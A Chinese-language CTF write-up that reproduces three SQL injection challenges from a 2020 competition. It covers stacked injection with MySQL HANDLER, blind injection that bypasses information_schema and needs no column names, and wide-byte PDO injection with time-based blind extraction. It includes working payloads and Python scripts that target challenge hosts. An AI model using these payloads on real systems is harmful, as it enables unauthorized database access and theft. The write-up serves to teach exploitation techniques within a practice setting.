i春秋2020新春公益賽 GYCTF有關SQL注入題復現

0x00 前言

最近這段時間參加過一些CTF在線競賽,做過一些Web題,發現SQL注入漏洞出現的頻率可真高!不過在做題中也get到了一些Web新知識,現在通過題目復現的方式總結一下。

0x01 blacklist

考點:堆疊注入+handler代替select
強網杯-隨便注改的,但是ban掉了強網杯payload的renamealter
查表

0'; show tables;#

查字段

0'; show columns from FlagHere;#

前邊查表、查字段和強網杯隨便注一樣。但查記錄(數據)是通過重命名等操作得到flag,但這個題ban掉了renamealter
查詢大師傅博客發現:MySQL還有一個handler的可以代替select進行查詢

handler相關知識

mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到SQL標準中。

基本語法

HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

1.通過HANDLER tbl_name OPEN打開一張表,無返回結果,實際上我們在這裏聲明瞭一個名爲tb1_name的句柄。
2.通過HANDLER tbl_name READ FIRST獲取句柄的第一行,通過READ NEXT依次獲取其它行。最後一行執行之後再執行NEXT會返回一個空的結果。
3.通過HANDLER tbl_name CLOSE來關閉打開的句柄。

通過索引去查看的話可以按照一定的順序,獲取表中的數據。
4.通過HANDLER tbl_name READ index_name FIRST,獲取句柄第一行(索引最小的一行),NEXT獲取下一行,PREV獲取前一行,LAST獲取最後一行(索引最大的一行)。

通過索引列指定一個值,可以指定從哪一行開始。
5.通過HANDLER tbl_name READ index_name = value,指定從哪一行開始,通過NEXT繼續瀏覽。

如果不想瀏覽一個表的所有行,可以使用where和limit子句。
測試分析
1.不通過索引打開查看錶
(1)打開句柄:

handler handler_table open; #打開一張名爲handler_table表,無返回結果,聲明瞭一個名爲handler_table的句柄

(2)查看錶數據:

handler handler_table read first; #獲取句柄的第一行
handler handler_table read next; #獲取下一行

(3)關閉句柄:

handler handler_table close; #關閉打開的句柄

2.通過索引打開查看錶(FIRST,NEXT,PREV,LAST)
通過索引查看的話,可以按照索引的升序,從小到大,查看錶信息。
(1)創建索引:

create index handler_index on handler_table(c1);

(2)打開句柄:

handler handler_table open as p;

(3)查看錶數據:

handler p read handler_index first; #獲取句柄第一行
handler p read handler_index next; #獲取下一行
handler p read handler_index prev; #獲取上一行
handler p read handler_index last; #獲取最後一行

(4)關閉句柄:

handler p close;

從index爲2的地方開始
(1) 打開句柄:

handler handler_table open as p;

(2) 查看錶數據:

handler p read handler_index = (2); #指定從第二行開始
handler p read handler_index next;
handler p read handler_index prev;
handler p read handler_index last;

(3)關閉句柄:

handler p close;

參考博客:mysql查詢語句-handler
瞭解完這些,就可以這道題的構造payload了。
payload

0'; handler FlagHere open as qwzf; handler qwzf read first; handler qwzf close;#

執行即可得到flag
在這裏插入圖片描述

0x02 Ezsqli

考點:無information_schema布爾盲注+無列名盲注

預備知識

做這道題前先預備一下知識:
參考博客:
聊一聊bypass information_schema
無需“in”的SQL盲注
新春戰疫公益賽-ezsqli-出題小記
對MYSQL注入相關內容及部分Trick的歸類小結

參考大師傅博客後,發現繞過對information_schema的過濾,有以下幾種方法:

1、繞過information_schema方法

MySQL5.7的新特性

由於performance_schema過於發雜,所以mysql在5.7版本中新增了sys schemma,基礎數據來自於performance_chema和information_schema兩個庫,本身數據庫不存儲數據。

1.sys.schema_auto_increment_columns
作用:簡單來說就是用來對錶自增ID的監控。

# security庫
    //該庫爲sqli-labs自動建立
    emails,referers,uagents,users

在這裏插入圖片描述
2.sys.schema_table_statistics_with_buffer

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
查詢表的統計信息,其中還包括InnoDB緩衝池統計信息,默認情況下按照增刪改查操作的總表I/O延遲時間

在這裏插入圖片描述

sys.x$schema_table_statistics_with_buffer

在這裏插入圖片描述

sys.x$ps_schema_table_statistics_io
可忽略table_name=‘db’,默認的並非我創建。

sys.x$schema_flattened_keys

當然可能還有,這裏就先寫這麼多。
3.利用innoDB引擎繞過對information_schema的過濾(但是mysql默認是關閉InnoDB存儲引擎的)

2、繞過information_schema、join using()注列名和進行無列名注入

1.利用MySQL5.7的新特性獲取表名
直接用sqli-labs靶場進行測試
(1)sys.schema_auto_increment_columns

?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

在這裏插入圖片描述
(2)sys.schema_table_statistics_with_buffer

?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

(3)sys.x$schema_table_statistics_with_buffer

?id=-1' union select 1,2,group_concat(table_name)from sys.x$schema_table_statistics_with_buffer where table_schema=database()--+

(4)sys.x$ps_schema_table_statistics_io

?id=-1' union select 1,2,group_concat(table_name)from sys.x$ps_schema_table_statistics_io where table_schema=database()--+

(5)sys.x$schema_flattened_keys

?id=-1' union select 1,2,group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()--+

等等
2.join using()注列名

通過系統關鍵詞join可建立兩個表之間的內連接。
通過對想要查詢列名的表與其自身建議內連接,會由於冗餘的原因(相同列名存在),而發生錯誤。
並且報錯信息會存在重複的列名,可以使用 USING 表達式聲明內連接(INNER JOIN)條件來避免報錯。

#獲取第一列的列名
select * from(select * from users a join (select * from users)b)c;
#獲取次列及後續列名
select * from(select * from users a join (select * from users)b using(username))c;
select * from(select * from users a join (select * from users)b using(username,password))c
#獲取第一列的列名
?id=-1' union select*from (select * from users as a join users b)c--+
#得id

#獲取次列及後續列名
?id=-1' union select*from (select * from users as a join users b using(id))c--+
#得username
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
#password

3.無列名盲注獲取數據
直接通過select進行盲注。
核心payload:

(select 'admin','admin')>(select * from users limit 1)

子查詢之間也可以直接通過><=來進行判斷

開始復現

學完上邊這些後,繼續看這道題:
1.測試
fuzz一波,發現:

過濾了and or關鍵字
過濾了if
不能用information_schema
沒有單獨過濾union和select, 但是過濾了union select,union某某某select之類
過濾了sys.schema_auto_increment_columns
過濾了join

2 返回V&N
2||1=1 返回Nu1L
2||1=4 返回V&N
2查詢的是V&N,如果||後面的表達式爲True則返回Nu1L;false則返回V&N。

2.繼續測試

2||substr((select 1),1,1)=2
V&N
2||substr((select 1),1,1)=1
Nu1L

說明可以進行布爾盲注。
3.繞過information_schema
繞過information_schema可用以下方法:
sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffersys.x$ps_schema_table_statistics_io等等
4.注出表名
然後寫個腳本注出表名:

import requests
import string

strs = string.printable
url = "http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php"
payload = "2 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))={1}"

if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(i,ord(j))
            data={'id':payloads}
            r = requests.post(url=url,data=data)
            if "Nu1L" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char=='':
            break

在這裏插入圖片描述
注出兩張表:users233333333333333,f1ag_1s_h3r3_hhhhh
5.無列名盲注注出數據
因爲join被過濾了,所以無法注出列名(字段名),但可以進行無列名盲注得到數據。
參考一下大師傅腳本,寫一個腳本:

在這樣的按位比較過程中,因爲在裏層的for()循環,字典順序是從ASCII碼小到大來枚舉並比較的,假設正確值爲b,那麼字典跑到b的時候b=b不滿足payload的大於號,只能繼續下一輪循環,c>b此時滿足了,題目返回真,出現了Nu1L關鍵字,這個時候就需要記錄flag的值了,但是此時這一位的char是c,而真正的flag的這一位應該是b纔對,所以flag += chr(char-1),這就是爲什麼在存flag時候要往前偏移一位的原因

import requests
url = 'http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php'

def str2hex(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,60):
    hexchar = ''
    for char in range(32, 126):
        hexchar = str2hex(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #payload = '0^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))'.format(hexchar)
        data = {'id':payload}
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

在這裏插入圖片描述
smi1e師傅的exp中用了取反符號~目的也是判斷成立,因爲MySQL的比較是按位比的。
腳本進行了hex()操作,因爲MySQL遇到hex會自動轉成字符串。
(大師傅們太強了,tqqqqqll!!!)

0x03 easysqli_copy

考點:寬字節+PDO堆疊+編碼繞過+時間盲注
相關知識:
PDO場景下的SQL注入探究
從寬字節注入認識PDO的原理和正確使用
打開題目,發現源碼

<?php 
    function check($str){
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches)){
            print_r($matches);
            return 0;
        }else{
            return 1;
        }
    }
    try{
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    }catch(Exception $e){
        echo $e->getMessage();
    }
    if(isset($_GET['id'])){
        $id = $_GET['id'];
    }else{
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id)){
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

發現使用了PDOset names gbk
一般來說PDO預編譯是不存在sql注入,但是其中$db->query("set names gbk");就造成了寬字節注入
同時發現一些基本的關鍵字被過濾了,但可以用char()繞過
參考P3師傅和Y1ng師傅的解題思路即可:

import requests
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
url='http://0d7a93644ff54a3886e388d2e2d8ac5d71f9fe37e74247d7.changame.ichunqiu.com/?id='
data='1%df%27;set @a={};prepare test from @a;execute test;'
#預編譯語句,set設置變量名@和變化的值;
#prepare預備一個@a語句,並賦予名稱test;
#execute執行語句test
payload='select if((ascii(mid((select fllllll4g from table1),{},1))={}),sleep(6),1);'
flag=''
for i in range(1,60):
    for x in range(30,127):
        newpayload=payload.format(str(i),str(x))#i字符串長度;x是字符ascii
        newdata=data.format(str2hex(newpayload))#將sql語句轉16進制代入預處理語句
        a=requests.session()
        if(a.get(url+newdata).status_code==404):
            flag+=chr(x)
            break
    print(flag)

0x04 後記

復現完之後,收穫很多。同時不得不慨嘆一句:大師傅們ttttttql!!!!我tttttttcl!!!
參考博客:
i春秋2020新春戰“疫”網絡安全公益賽GYCTF Writeup 第二天
i春秋公益賽 前兩天 WEB WriteUp

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章